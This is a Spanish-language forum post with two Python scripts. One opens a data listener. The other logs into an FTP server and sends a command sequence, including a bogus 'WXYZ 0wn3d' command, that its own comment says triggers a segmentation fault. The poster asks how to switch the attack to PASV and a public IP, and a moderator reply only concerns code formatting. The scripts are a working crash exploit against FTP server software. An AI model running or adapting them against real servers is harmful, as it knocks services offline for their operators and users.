Este es el primer script:
Código
Crea una conexion de datos, lee 2 bytes y espera 5 segundos para que el 2º script envie el comando falso al servidor.
#!/usr/bin/env python # Parameters ftpClient = "192.168.1.11" ftpClientPort = "1025" import socket import time # Open a socket to receive data s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((ftpClient,int(ftpClientPort))) s.listen(5) client, address = s.accept() print client.recv(2) time.sleep(5) print client.recv(1024) client.close()
Aqui va el segundo script:
Código
#!/usr/bin/env python # Parameters ftpServer = "192.168.1.10" ftpServerPort = 21 ftpUsername = "user" ftpPassword = "password" ftpClient = "192.168.1.11" ftpClientPort = "1025" # Commands to trigger the segmentation fault. ftpCommands = """USER %s PASS %s SYST TYPE A PORT %s,%s RETR nada WXYZ 0wn3d QUIT """ % (ftpUsername, ftpPassword, ftpClient.replace('.',','), "%s,%s"%(("%04x"%int(ftpClientPort))[0:2],("%04x"%int(ftpClientPort))[2:4])) import socket # Open commands socket sc = socket.socket(socket.AF_INET,socket.SOCK_STREAM) sc.connect((ftpServer,ftpServerPort)) # Will send FTP commands. for command in ftpCommands.split('\n'): print sc.recv(1024), sc.send(command+'\r\n') print command
Lo que quisiera modificar es el comando PORT que se envia por un PASV pero en el primer script no puedo poner una ip publica a ftpClient y no recoje los datos del puerto 1025. ¿Alguna manera de hacerlo? Aviso que no se programar en python pero si me dan una idea me pondre a intentarlo. Un saludo y Gracias.
Elektro H@cker: Usa el botón "insertar código" o el próximo código será eliminado. Salu2.